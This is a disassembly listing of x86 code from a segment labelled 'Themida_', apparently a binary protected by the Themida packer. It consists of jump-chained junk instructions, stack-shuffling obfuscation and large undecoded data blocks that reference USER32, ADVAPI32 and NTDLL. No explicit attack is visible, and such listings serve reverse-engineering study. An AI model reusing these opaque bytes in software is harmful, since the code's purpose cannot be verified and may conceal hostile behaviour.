		add	edx, 41720201h
		add	edx, esi
		jmp	loc_542A85
; ---------------------------------------------------------------------------


loc_55721B:				; CODE XREF: Themida_:00543940j
		push	eax
		push	edx
		jmp	loc_54CFE4
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 24348904h, 5C1EBB53h, 85E915FCh, 0FFFFFEFCh,	0D1E94077h
		db 0B4h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_55723B:				; CODE XREF: Themida_:0054AC91j
		mov	esi, 366430E8h
		add	ebx, esi
		pop	esi
		jmp	loc_552F91
; ---------------------------------------------------------------------------
		dd 0E924248Bh, 0FFFF1E10h
; ---------------------------------------------------------------------------


loc_557250:				; CODE XREF: Themida_:00548048j
		pop	eax
		push	edx
		jmp	loc_54F70D
; ---------------------------------------------------------------------------
		db 55h
		dd 0FFF998E9h, 5E089FFh, 4, 405h, 24048700h, 0E389535Ch
		dd 0FEC933E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_557275:				; CODE XREF: Themida_:0054BCE5j
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		push	ecx
		jmp	loc_552858
; ---------------------------------------------------------------------------


loc_55728E:				; CODE XREF: Themida_:005504E2j
		push	edi
		mov	edi, 3A834144h
		mov	eax, edi
		pop	edi
		push	ebp
		mov	ebp, 791464C5h
		jmp	loc_548FC2
; ---------------------------------------------------------------------------
		dw 8966h
		dd 68662424h, 89667595h, 0EC832404h, 24148904h,	75BD6655h
		dd 0B6BA6654h, 0EED9E9C9h, 0C681FFFFh, 7C440A1h, 24048B5Bh
		dd 81E68956h, 4C6h, 8B5E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5572DA:				; CODE XREF: Themida_:loc_54F759j
					; Themida_:00552EFAj ...
		push	43E4h
		jmp	loc_5443EB
; ---------------------------------------------------------------------------
		dd 42474FFh, 24048F5Eh,	0F031C631h, 0F792C631h,	585250D2h
		dd 0E9C6315Ah, 0FFFFCBADh, 168DE95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_557306:				; CODE XREF: Themida_:00547151j
		mov	edi, [esp]
		add	esp, 4
		push	esi
		mov	esi, 4
		sub	eax, esi
		pop	esi
		xor	eax, [esp]
		xor	[esp], eax
		jmp	loc_5449BD
; ---------------------------------------------------------------------------


loc_557323:				; CODE XREF: Themida_:0054BCEDj
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		push	esi
		mov	esi, 4
		add	[esp+4], esi
		pop	esi
		push	dword ptr [esp]
		pop	edx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xor	ecx, [esp]
		jmp	loc_54F6A6
; ---------------------------------------------------------------------------
		db 1, 0DDh, 8Bh
		dd 6DE9241Ch
		db 59h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_557357:				; CODE XREF: Themida_:00544008j
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		add	edx, eax
		push	dword ptr [esp]
		mov	eax, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		add	esp, 4
		and	eax, edx
		jmp	loc_555F1E
; ---------------------------------------------------------------------------
		dw 9905h
		dd 106F859h, 59992DD0h,	58E906F8h, 89FFFF32h, 6A682434h
		dd 8B1F3C61h, 0C4812434h, 4, 1E02CE81h,	0E6C10B48h, 82C68102h
		dd 89D53B15h, 348B2077h, 4C48324h, 81E78957h, 4C7h, 4EF8100h
		dd 0E9000000h, 0FFFEF2E3h, 4C181h, 0E9830000h, 240C8704h
		dd 0FECD03E9h, 55E189FFh, 0FEFF6FE9h, 7E1925FFh, 4D05712Ch
		dd 537942CEh, 0DA89C389h, 0FF8049E9h, 2BAFFh, 58520000h
		dd 0FFC2015Ah, 83582434h, 0EC8104C4h, 4, 0FF241489h, 0FF042474h
		dd 835A2434h, 48F04C4h,	24248B24h, 9C240430h, 0FF7401E9h
		dd 240489FFh, 0FF5DABE9h, 9368ADFFh, 8900001Eh,	58542404h
		dd 91BE5653h, 0BB39DB27h, 8462FD0h, 0D6E9F301h
		db 2 dup(0FEh),	0FFh
; ---------------------------------------------------------------------------


loc_557457:				; CODE XREF: Themida_:0054AB78j
		shl	ebx, 4
		add	ebx, 0EC1E3C5Dh
		shl	ebx, 6
		jmp	loc_549C92
; ---------------------------------------------------------------------------
		dd 4C481h, 0FF570000h, 8B042474h, 0B2E9243Ch, 83FFFEF1h
		dd 0C8704C1h, 0E9815C24h, 7B8E1F3Ch, 4924E950h,	8B66FFFFh
		dd 54562404h, 4C6815Eh,	52000000h, 0B70D4DBAh, 4EAC13Ch
		dd 8108EAC1h, 4404BECAh, 31CDE91Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5574B2:				; CODE XREF: Themida_:00555372j
		inc	esi
		jmp	loc_54A3EF
; ---------------------------------------------------------------------------


loc_5574B8:				; CODE XREF: Themida_:00545E0Fj
		add	edi, ecx
		pop	ecx
		jmp	loc_552BBA
; ---------------------------------------------------------------------------
		dd 2434FF54h, 4EC8158h,	89000000h, 0E189240Ch, 4C181h
		dd 22E90000h
		db 0C1h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5574DB:				; CODE XREF: Themida_:00549313j
		shl	esi, 1
		xor	esi, 2B2D1B4Bh
		sub	eax, esi
		pop	esi
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 2
		sub	eax, ecx
		mov	ecx, [esp]
		jmp	loc_547DE9
; ---------------------------------------------------------------------------
		db 8Bh,	0Ch, 24h
		dd 81E18951h, 4C1h, 4C18300h, 5C240C87h, 5BCBEB81h, 0EB813F52h
		dd 337B4EF0h, 0FEB57BE9h, 3ABD55FFh, 0E94DD877h, 0FFFF1122h
		dd 33E9FB01h
		db 61h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55753B:				; CODE XREF: Themida_:0054A217j
		mov	edx, [esp]
		jmp	loc_553F72
; ---------------------------------------------------------------------------
		db 8Fh
		dd 0C1E94047h
		db 0B1h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_55754B:				; CODE XREF: Themida_:00542AC4j
		mov	ebx, 7700370Fh
		add	ebx, 88FFC8F5h
		jmp	loc_5517C3
; ---------------------------------------------------------------------------


loc_55755B:				; CODE XREF: Themida_:00548C19j
		sub	ebx, 2C1F736Eh
		add	ebx, edi
		add	ebx, 2C1F736Eh
		push	ecx
		mov	ecx, 0
		add	ecx, 2B7E7CD3h
		jmp	loc_54F946
; ---------------------------------------------------------------------------


loc_55757A:				; CODE XREF: Themida_:00556F4Dj
		mov	ebp, 4
		add	esi, ebp
		jmp	loc_551836
; ---------------------------------------------------------------------------


loc_557586:				; CODE XREF: Themida_:005566B4j
		xor	ecx, ebx
		jmp	loc_552C43
; ---------------------------------------------------------------------------
		db 31h,	2Ch, 24h
		dd 0FF0A8DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_557595:				; CODE XREF: Themida_:00550ABEj
		push	ebx
		mov	ebx, 157549BCh
		jmp	loc_54522A
; ---------------------------------------------------------------------------
		dd 4C4815Fh, 87000000h,	248B241Ch, 1C6F0924h, 83242C8Bh
		dd 51E904C4h, 89FFFEB1h, 28BF243Ch, 816BBE3Ch, 2D28D5C2h
		dd 81FA2914h, 2D28D5EAh, 9123E914h, 8B66FFFFh, 68552404h
		dd 4FFDh, 0FEE1AAE9h, 7EDC1FFh,	0C7FAF581h, 0EA812ECBh
		dd 6839555Ah, 2717EA81h, 0EA814990h, 61CF49A3h,	0C281EA01h
		dd 61CF49A3h, 4EC81h, 0C890000h, 6870B924h, 0BF5779E8h
		dd 7475471Bh, 8105E7C1h, 994875EFh, 22AE909h, 0E952FFFFh
		dd 0FFFFB806h
; ---------------------------------------------------------------------------


loc_557630:				; CODE XREF: Themida_:0054A651j
		xchg	esi, ecx
		push	edx
		mov	edx, esp
		jmp	loc_546FD3
; ---------------------------------------------------------------------------


loc_55763A:				; CODE XREF: Themida_:00545598j
		xor	ah, bh
		pop	ebx
		add	ah, 50h
		or	cl, ah
		jmp	loc_556DA2
; ---------------------------------------------------------------------------
		db 5Fh
		dd 0CA380D2Dh, 5F00143h, 43CA380Dh, 0E92434FFh,	0FFFEFCABh
		dd 51505266h, 0D9F651B1h, 4EC81h, 81E90000h, 33FFFF1Ah
		dd 0C2E9241Ch, 0F7FFFF53h, 4D2595D5h, 2D18A126h, 0F987D8B9h
		dd 8958C631h, 24348BF7h, 4C481h, 0C2810000h, 17F02406h
		dd 0EA81FA01h, 17F02406h, 4C2835Fh, 0E9241433h,	0FFFFEF77h
		dd 4BFh, 5FFB8900h, 3A2CE956h, 5751FFFFh, 0C781E789h, 4
		dd 4EF81h, 3C870000h, 77EFE924h, 0DCBAFFFFh, 4234A714h
		dd 0E9E18951h, 0FFFF0776h, 0FCB9514Fh, 8142E76Dh, 0CB3EE2C1h
		dd 41D9F76Dh, 8104E9C1h, 0F7182FF1h, 0C7E9817Ch, 164BABBh
		dd 86E959CFh
		db 0ECh, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_557707:				; CODE XREF: Themida_:005509FDj
		mov	[esp], esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		not	esi
		xor	[esp], esi
		xor	esi, [esp]
		xor	[esp], esi
		push	dword ptr [esp]
		pop	eax
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		push	1450h
		mov	[esp], ebp
		jmp	loc_5571EE
; ---------------------------------------------------------------------------
		dw 489h
aQGfh		db '$´ÂQ±Gfh',0
		align 2
		dw 0C28h
		dd 240C8A24h, 0F602C483h, 2AE980D1h, 8841F180h,	0E23059CAh
		dd 66D32858h, 0B115E95Ah
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_557762:				; CODE XREF: Themida_:005475EEj
		push	esp
		jmp	loc_543955
; ---------------------------------------------------------------------------
		dd 0E9243433h, 0FFFF21BAh, 0D1F7D9F7h, 72F8E981h, 0CE09B8ACh
		dd 81D6F759h, 0D2941EEEh, 23A268C6h, 0F0E90000h, 81FFFFAAh
		dd 5E7533EEh, 0BDBB534Bh, 293C713Bh, 34FF5BDEh,	31685F24h
		dd 89000048h, 0E9542434h, 0FFFED5C7h, 69E8C681h, 0F10130DFh
		dd 4C1835Eh, 0FF4E26E9h, 0C73195FFh, 41E9F831h,	0FFFFFFE0h
		dd 81592434h, 4C4h, 59EA3000h, 0E95AD028h, 0FFFFB8EEh
		dd 5024348Bh, 0FFBF85E9h, 4C781FFh, 81000000h, 4C7h, 243C8700h
		dd 0FF4987E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5577FD:				; CODE XREF: Themida_:00557AF8j
		mov	[esp], ecx
		mov	ecx, 4
		add	esi, ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_556F4C
; ---------------------------------------------------------------------------
		dw 3C89h
		dd 0A9BE5624h, 52470708h, 4C29F3BAh, 2AF28163h,	0E9993B45h
		dd 0FFFEF13Ah, 0DD88D388h, 8BEB885Bh, 0C483240Ch, 875C8804h
		dd 241C8B01h, 0FFDB50E9h, 7EAC1FFh, 397C281h, 0D7296F61h
		dd 81EF015Ah, 0BF022DC7h, 4BF5E96Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_557862:				; CODE XREF: Themida_:0054D57Bj
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ecx
		jmp	loc_554187
; ---------------------------------------------------------------------------
		dd 0FF240489h, 0FF042474h, 51582434h, 0C1815954h, 4, 0FED2B6E9h
		dd 243C8BFFh, 0FF12CBE9h, 50C9FEFFh, 2E99DB0h
		db 97h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5578A3:				; CODE XREF: Themida_:00549BCEj
		sub	ecx, esi
		mov	esi, [esp]
		add	esp, 4
		sub	ebx, ecx
		mov	ecx, [esp]
		push	7C4Dh
		mov	[esp], edx
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		pop	dword ptr [eax]
		jmp	loc_54270C
; ---------------------------------------------------------------------------


loc_5578D1:				; CODE XREF: Themida_:0055022Aj
		add	esi, edx
		pop	edx
		add	esi, ebp
		sub	esi, 30A95A40h
		pop	ebp
		shl	esi, 6
		shl	esi, 3
		push	1126h
		mov	[esp], ecx
		mov	ecx, 0B89E5800h
		jmp	loc_546A8C
; ---------------------------------------------------------------------------
		db 0BAh, 0B9h, 9
		dd 0EAC10FA7h, 0C4F28107h, 0E95D661Bh, 0FFFFC777h
; ---------------------------------------------------------------------------


loc_557908:				; CODE XREF: Themida_:00554DA2j
		pop	esi
		xchg	eax, ebx
		push	esi
		jmp	loc_553785
; ---------------------------------------------------------------------------


loc_557910:				; CODE XREF: Themida_:0054AE3Dj
		xor	ecx, 730FD9C9h
		add	ebx, ecx
		jmp	loc_54E2F1
; ---------------------------------------------------------------------------
		db 33h,	2Ch, 24h
		dd 33242C31h, 248B242Ch, 24042824h, 0ADDAE99Ch,	0E789FFFEh
		dd 4C781h, 0FBE90000h, 0B9FFFF65h, 7A4234Bh, 24E9CB89h
		dd 1FFFF1Eh, 0D17AE9F0h, 0FE88FFFFh, 0FEFE8BE9h, 241489FFh
		dd 0FF0978E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_557961:				; CODE XREF: Themida_:0055642Cj
		pop	eax
		inc	eax
		push	ecx
		mov	ecx, 372D0F37h
		xor	ecx, 61C55396h
		xor	ecx, 75CF4188h
		jmp	loc_55401F
; ---------------------------------------------------------------------------


loc_55797A:				; CODE XREF: Themida_:00543310j
		push	edi
		jmp	loc_54FEDA
; ---------------------------------------------------------------------------
		dd 99073305h, 242C8B53h, 0FECE9EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55798D:				; CODE XREF: Themida_:00555114j
		sub	esp, 4
		mov	[esp], esi
		push	edx
		mov	edx, 6B460206h
		mov	esi, edx
		jmp	loc_554851
; ---------------------------------------------------------------------------
		db 29h
		dd 34FF58C2h, 0C4815F24h, 4, 36A768h, 242C8900h, 4BDh
		dd 5DEA0100h, 5C241487h, 8B2434FFh, 0E9562414h,	0FFFF45F2h
; ---------------------------------------------------------------------------


loc_5579D0:				; CODE XREF: Themida_:0054376Cj
		pop	ebx
		jmp	loc_546BD2
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 6858C201h, 6498h,	53240489h, 4BBh, 5B585300h, 0E958C201h
		dd 0FFFF5D31h
; ---------------------------------------------------------------------------


loc_5579F8:				; CODE XREF: Themida_:0054814Dj
		push	small 19F8h
		mov	[esp], cx
		jmp	loc_5485D9
; ---------------------------------------------------------------------------


loc_557A05:				; CODE XREF: Themida_:00555F8Ej
		mov	esi, 77924930h
		sub	esi, 0FFFFFFFFh
		add	esi, 406A0B9Eh
		xor	esi, 654768A5h
		shr	esi, 6
		shr	esi, 3
		xor	esi, 1FB21E89h
		xor	esi, 17602269h
		sub	esi, 17C40C76h
		dec	esi
		neg	esi
		add	esi, 0F0F7550Bh
		add	ebp, esi
		pop	esi
		xchg	ebp, [esp]
		pop	esp
		shr	ecx, 0Ah
		push	4AFEh
		mov	[esp], ebx
		push	edx
		jmp	loc_54A4A8
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0EC832404h, 242C8904h, 0BF57E589h, 76BA420Eh, 83FFC783h
		dd 0C8904ECh, 9685224h,	5A76BA42h, 0FF040EE9h, 0E9AB2CFFh
		dd 0FFFEF07Eh
; ---------------------------------------------------------------------------


loc_557A80:				; CODE XREF: Themida_:0054DC6Fj
		mov	[esp], ecx
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_552EF2
; ---------------------------------------------------------------------------


loc_557A98:				; CODE XREF: Themida_:0054BE42j
		mov	[esp], esi
		mov	esi, 2DE787Dh
		add	esi, 0CEF787Ch
		neg	esi
		xor	esi, 7CDB6049h
		push	edx
		mov	edx, esi
		mov	eax, edx
		pop	edx
		jmp	loc_54F7D4
; ---------------------------------------------------------------------------
		db 33h,	2Ch, 24h
		dd 0FFDF31E9h, 0D830ACFFh, 0FF4AE3E9h, 1C875FFFh, 24248B24h
		dd 0E9240489h, 0FFFEC196h, 4B15166h, 85E9CC30h
		db 53h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_557AE3:				; CODE XREF: Themida_:0054EDF1j
		push	eax
		jmp	loc_554846
; ---------------------------------------------------------------------------


loc_557AE9:				; CODE XREF: Themida_:00550F5Cj
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		sub	esp, 4
		jmp	loc_5577FD
; ---------------------------------------------------------------------------


loc_557AFD:				; CODE XREF: Themida_:00552305j
		pop	esp
		jmp	loc_552898
; ---------------------------------------------------------------------------
		db 87h
		dd 875D2404h, 0F7DBF7EBh, 4CEB81D3h, 0E91DC0EEh, 0FFFEF6F5h
; ---------------------------------------------------------------------------


loc_557B18:				; CODE XREF: Themida_:0054C8A3j
		mov	ebx, 18D74716h
		mov	ebp, ebx
		pop	ebx
		sub	esp, 4
		jmp	loc_54BDFF
; ---------------------------------------------------------------------------
		db 5Ch
		dd 0E9008F66h, 0FFFEBBB5h, 34D968h, 31F0E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_557B3E:				; CODE XREF: Themida_:00552C38j
		xor	ebp, [esp]
		xor	[esp], ebp
		jmp	loc_54AB58
; ---------------------------------------------------------------------------
		db 68h,	0C4h, 2Eh
		dd 1C890000h, 0CC3AE924h, 3C8BFFFFh, 4C48324h, 53E08950h
		dd 3E5C30BBh, 0E1DBE902h, 0AE8FFFEh, 39000000h,	910E2CA3h
		dd 0BC936BA0h, 13E9E7h,	0AF740000h, 0D2296855h,	0AC2D3B60h
		dd 0A88A3DC3h, 49C28ACFh, 0E9515958h, 5, 2781B57Bh, 0C1815BBCh
		dd 5A8Ch, 7E96056h, 57000000h, 32B72665h, 9531C1ECh, 61F0755h
		dd 685B61h, 66000000h, 0FD5EE081h, 0A9BD295Eh, 8B061F08h
		dd 0DE8B3114h, 371EF281h, 816667D0h, 815023F0h,	84A477EAh
		dd 4CBF6655h, 32C281BEh, 8B67720Ch, 1F2B7585h, 31148906h
		dd 86D9D8Bh, 14E9061Fh,	18000000h, 513ABFC2h, 0F7762293h
		dd 35B2C86Bh, 26BC4460h, 83F4C1B8h, 853104EEh, 61F084Dh
		dd 0A658FE81h, 850FFFFFh, 1Fh, 2840Fh, 0E58A0000h, 22E9h
		dd 0C0E4BE00h, 0A24E86B0h, 80D3D7B2h, 487ADFAEh, 0E9DB2878h
		dd 0FFFFFF7Fh, 13BA3BF7h, 7FE1B68Fh, 0EB5946AAh, 45535536h
		dd 2E323352h, 6C6C64h, 41564441h, 32334950h, 6C6C642Eh
		dd 44544E00h, 642E4C4Ch, 0D7006C6Ch, 1000A07h, 0C001600h
		dd 1C000600h, 24032B00h, 0E908C7CEh, 91Dh, 21A09B68h, 0DDDCE906h
		dd 368FFFDh, 0E90621A1h, 0FFFDDDD2h, 21A21168h,	0DDC8E906h
		dd 9568FFFDh, 0E90621A3h, 0FFFDDDBEh, 21A42068h, 0DDB4E906h
		dd 0FF68FFFDh, 0E90621A4h, 0FFFDDDAAh, 21A55968h, 0DDA0E906h
		dd 4963FFFDh, 287D41B8h, 0E9C60D7h, 0F1B87CF3h,	0D3D3970Eh
		dd 0B16BB72Eh, 9007FAACh, 0B128E7CCh, 0CF46BBEDh, 0EC639C0Bh
		dd 26FEAA23h, 0B919B203h, 80EB0E81h, 29A2E750h,	0A21CF4A0h
		dd 0FBAF1FD3h, 0F9B25ED7h, 8E15F081h, 0ACA47DAh, 0F6B4649Bh
		dd 0ADD1790Bh, 2CDE1411h, 0EDA09767h, 0A8B5EB74h, 0BB7D2A53h
		dd 25DACB7Bh, 2BC7EB93h, 0F5EA073Eh, 6E46F27Bh,	105EC46h
		dd 3CF0294Dh, 3A6D2DAAh, 1EA15043h, 0A94DA12Fh,	3054ADF9h
		dd 0BE375ADDh, 9107112h, 0E96216FCh, 0AC7E29h, 0C0B5128h
		dd 0E28E07BBh, 0C0B510Ah, 0CE45E99Dh, 0FB629D0Ah, 1A1C5C40h
		dd 574867FDh, 0AA000007h, 0C488FF02h, 0E3A71EE1h, 0FFC33AC7h
		dd 1ADE55AAh, 0B2FE758Ch, 50B1F5F8h, 719E15D9h,	8F7236FAh
		dd 0AC535418h, 47F36C35h, 19B2016Fh, 4557CA02h,	0B40B9D62h
		dd 0E9950E83h, 15F50274h, 4BD44D01h, 0F541C79Fh, 80A65A25h
		dd 36BEA7BAh, 97103429h, 0B930D1D7h, 0BC4EB3F5h, 0F9609F08h
		dd 0F00A7894h, 0EF3C5BF1h, 42000006h, 5C20976Ah, 7B3FB649h
		dd 975BD22Fh, 0B276ED12h, 4A960DF4h, 0E8198D90h, 906AD71h
		dd 27DACE92h, 44BBECB0h, 0DF8B04CDh, 19B20107h,	45EF629Ah
		dd 0EE249D62h, 14CBEC8Fh, 0DE709401h, 0D102B61h, 953A17CEh
		dd 19E6C171h, 13CB5687h, 94395128h, 0CBDC9CF0h,	56771034h
		dd 4000000h, 249D6245h,	2CBE4164h, 72E96084h, 0D3A18559h
		dd 1C0E991Fh, 0D3A19870h, 0D3772B1Fh, 4342F55Ch, 53079966h
		dd 670BAF60h, 7C772EEEh, 9C44D629h, 0EBE66F8h, 0C841659Ch
		dd 0F0D2381Ch, 0B62FE315h, 0D84FB2F6h, 67EB9414h, 41EAE31Eh
		dd 0B5D4660Ah, 63Eh, 0F7BC7C3Eh, 5D098618h, 1FD3A185h
		dd 9CC06418h, 0B244BBECh, 40B9DC5Bh, 0F08DEF94h, 71E89C15h
		dd 0B1F9FAADh, 2B342FCEh, 37DBE99Dh, 82B51C93h,	6AEA960Fh
		dd 0D1C1435h, 2157E059h, 2531AD7h, 0C8E292E4h, 43651539h
		dd 258347BEh, 11964ADCh, 0A9F087EEh, 0DF75FA6Bh, 5E1C0h
		dd 89783400h, 0A8574E12h, 0C43D6D31h, 0DF20894Dh, 0FF02A468h
		dd 7B823C88h, 9B5FD62Bh, 0BC80F718h, 0DA9E15ECh, 0F2BB32CDh
		dd 0FFF5CD79h, 508819B1h, 0D467CDDh, 6813E979h,	0D2D585A9h
		dd 0A87EB42Dh, 0E7FACC06h, 0C542D4F8h, 385CA505h, 0C45E1F88h
		dd 6C506090h, 5D35E15Ah, 0F01FD351h, 0D506983Ch, 0A7A1944Ah
		dd 0D71FD353h, 94F27941h, 0FEEA96F0h, 7C23FFFFh, 0A16F47F3h
		dd 4E021FD3h, 0C62D7A2Ah, 0E89022EDh, 0DD95CB44h, 15E45D29h
		dd 0AF525808h, 0BF51751Dh, 41BACF68h, 0D9CD2681h, 0E7608428h
		dd 0F018423Bh, 0AC23D715h, 269FF245h, 0F27B17Ah, 0B15DE61Ch
		dd 2C1127D9h, 5B94B86Ch, 629815A7h, 1A70D5C4h, 20BCE0E5h
		dd 2C10EC4Bh, 0AEAA34B3h, 0ECA17925h, 74342C10h, 428CC33h
		dd 560D2B6Eh, 8822E203h, 1FC33C6Dh, 28C1E58Dh, 1B3h, 2A80EBB5h
		dd 2FC1406Ah, 27106387h, 2A60E962h, 0FF2807ACh,	3DD9FD13h
		dd 15F02684h, 32D26519h, 672C8335h, 5C490992h, 0CD6911A3h
		dd 0FFCC83F5h, 5DB0D488h, 0B53EB7DAh, 0CC833109h, 0EC10C4FFh
		dd 7F2AEA73h, 0D3C05C80h, 10F5E964h, 15A75A50h,	5C10496Dh
		dd 0D1C473CAh, 96032258h, 0E95CEAFh, 24C571EAh,	0C9FC08F6h
		dd 53139C15h, 671BAD52h, 0F61ABE43h, 279E6146h,	3BD1649Ah
		dd 97361961h, 0B860F20Fh, 6740F014h, 85B03198h,	7F151A1Ch
		dd 45D60h, 5FCB000h, 24DBCA8Eh,	40C1E9ADh, 5BA405C9h, 7B8620E4h
		dd 0F7FEB804h, 17DB52AFh, 38FC739Ch, 561A9170h,	6E37AE51h
		dd 0FE7149F5h, 0CC0419B1h, 0F4467C59h, 834D8057h, 0FF388BAFh
		dd 1865118Ah, 9515F497h, 0A868E1h, 3DFD8A01h, 91ED116Ch
		dd 5DFC6Dh, 0FE22CA5Ch,	2EA75A4Eh, 4521F9A5h, 0F4B425F5h
		dd 16BE50BFh, 8BC4E72h,	7DF8B9Fh, 0AD25F545h, 0CCC0D302h
		dd 35F52EB2h, 43E78B74h, 0A898BDCh, 120B6F0h, 3D2h, 37A8725h
		dd 2299663Fh, 3EB54C5Eh, 59D02F7Ah, 79F01195h, 3C6A732Dh
		dd 298A4EC5h, 0FDAB6FE6h, 0DEC98D04h, 68E1AA21h, 0B1FDE4BCh
		dd 0CC3F7719h, 1CC86245h, 1FD3A144h, 29BB4660h,	0E4944881h
		dd 2AA3CC3h, 8F18CC5Eh,	9BBF659Bh, 0E21682BBh, 0D3396E46h
		dd 274D011Fh, 819E4918h, 7103A782h, 0C29B540h, 1FD2D112h
		dd 6DECAC42h, 0D901F094h, 8EFFFFFCh, 0B9D6245h,	950E83B4h
		dd 0F0AED8E9h, 32A95D15h, 0D2946FA5h, 136D85D2h, 2BBD4263h
		dd 0EBFC5F83h, 9BEE498Dh, 81BD7622h, 9E5215F0h,	0F4C16B0Bh
		dd 1522BDE7h, 0BE7E0780h, 57F317EAh, 0C427156Ah, 4AA133E7h
		dd 0A62FA8EDh, 32123670h, 0EB0FBEC1h, 459CAE4Fh, 269F53CAh
		dd 47BE4166h, 74DB2483h, 4C5FC809h, 0F38FAE44h,	46000002h
		dd 60249B66h, 7F43BA45h, 9B5FD62Bh, 0B67AF10Eh,	4E9A11F0h
		dd 0EC159194h, 0D02B175h, 2BD6D296h, 48B7F0B4h,	0E38F08D1h
		dd 19B1FE0Bh, 0A2F3669Eh, 0DB870095h, 15F50288h, 0C53FDF15h
		dd 18FCD83Bh, 6D3BFB74h, 4F591D94h, 3B6C20B2h, 0B1265DC4h
		dd 8D23F00Ah, 2996Eh, 41C0EC00h, 609F06CAh, 7C8525E9h
		dd 97684105h, 0B74A5C20h, 333AF440h, 53178E73h,	7438AF60h
		dd 9256CD34h, 0AA73EA15h, 0FCAD8531h, 84019B1h,	95A295h
		dd 288DB87h, 611515F5h,	807F28E8h, 0FE93A209h, 1EE3C585h
		dd 0F7BEE48Ch, 0EF273F3h, 0B965DE02h, 25F571DBh, 8438CA7Eh
		dd 2A4DDF22h, 3CA677ADh, 5B81802Ah, 52765376h, 84FD04A2h
		dd 36774FFBh, 1ECA25F5h, 25F53646h, 38EC25D9h, 0FF369D14h
		dd 8565118Ah, 2825F536h, 0A565E274h, 0C66E0001h, 4AB5F2A2h
		dd 0E21895B8h, 9D9C5590h, 0CB7B9F5Ah, 1FAC23DCh, 4612EA96h
		dd 0F1A525F5h, 758A1DCDh, 31DD66E3h, 25F54559h,	0A1438ECh
		dd 8559D825h, 0C69E4AD3h, 1925F545h, 0F545956Dh, 3B742825h
		dd 2ED3D787h, 0A64D5A0Ah, 4EB3F500h, 0CB8F06AAh, 149123DCh
		dd 1EB05F54h, 4A25276h,	0E4C484FDh, 0D0D78B1Dh,	51F59D2Fh
		dd 0C0E79B2Dh, 0AFF9AD3Fh, 4E32CAD0h, 0CE720374h, 0A13DB83Ch
		dd 0D3930C8Ch, 758A1FD4h, 5973BE3h, 6AA5751h, 1FB15056h
		dd 6D85377h, 0FC738C1Bh, 1936E38h, 42C13CF3h, 0D421859Ch
		dd 0F59D2FD2h, 9016DA51h, 7D2BDF71h, 0E360F284h, 55798623h
		dd 891D04DAh, 0B54AA1F6h, 0DB547000h, 0F55A572Fh, 9236EA25h
		dd 0AF50571Bh, 2901AD36h, 0BC25F55Bh, 0B252E408h, 4DC6821Ch
		dd 0FE906F38h, 0FA1604Ah, 909D41D0h, 0C65B8302h, 6D9412E1h
		dd 198E52C9h, 8E25D0DAh, 0A347EF81h, 51FD86FFh,	0DE68C179h
		dd 2724D60Ch, 26CD2430h, 7E105C82h, 97CF9510h, 792DE173h
		dd 0DA860F88h, 0DE68B302h, 2BBDE195h, 3FD12E77h, 50E21F8Bh
		dd 627B746h, 0EB6D7100h, 4AE488B5h, 22627A8h, 31AA5552h
		dd 8B24FCA8h, 3B7DE69h,	3A468DFh, 0A64AB5F0h, 177ABD14h
		dd 99E5F29Eh, 0AE62D486h, 788FF35h, 55B597EEh, 0DC0001A5h
		dd 5439FE65h, 9CC2FDBh,	0C579DAA9h, 0E8278C4Ch,	0AEA4C2C2h
		dd 5E825844h, 708F18CCh, 8D7235F9h, 0F7487EFBh,	0D7CB8341h
		dd 57690529h, 15F90F32h, 0DEC95886h, 0C1E6AA21h, 7C3CC53Eh
		dd 9B43D52Ch, 8F7227FFh, 0F6CE7AF9h, 89F98F71h,	0D7DC9CD5h
		dd 0DE709438h, 7807F2Ah, 0D9F6047h, 0BAF5059h, 44C355E7h
		dd 0DF20879Ah, 5931DD66h, 75F98F71h, 933BCD32h,	0B82A65Ah
		dd 269F6047h, 0EC74AF0h, 92B6F8B0h, 10E100h, 7C6A0000h
		dd 0A16F47F3h, 4E021FD3h, 0D4F8079Eh, 67451F86h, 5354089Ah
		dd 42661AACh, 3A792DBFh, 178F43D5h, 2A458EAh, 0F0B96DFFh
		dd 0E1C97D0Fh, 0CBDA8E20h, 5786A234h, 0BD55E789h, 4, 835DEF01h
		dd 3C8704EFh, 89525C24h, 4C281E2h, 81000000h, 4EAh, 24148700h
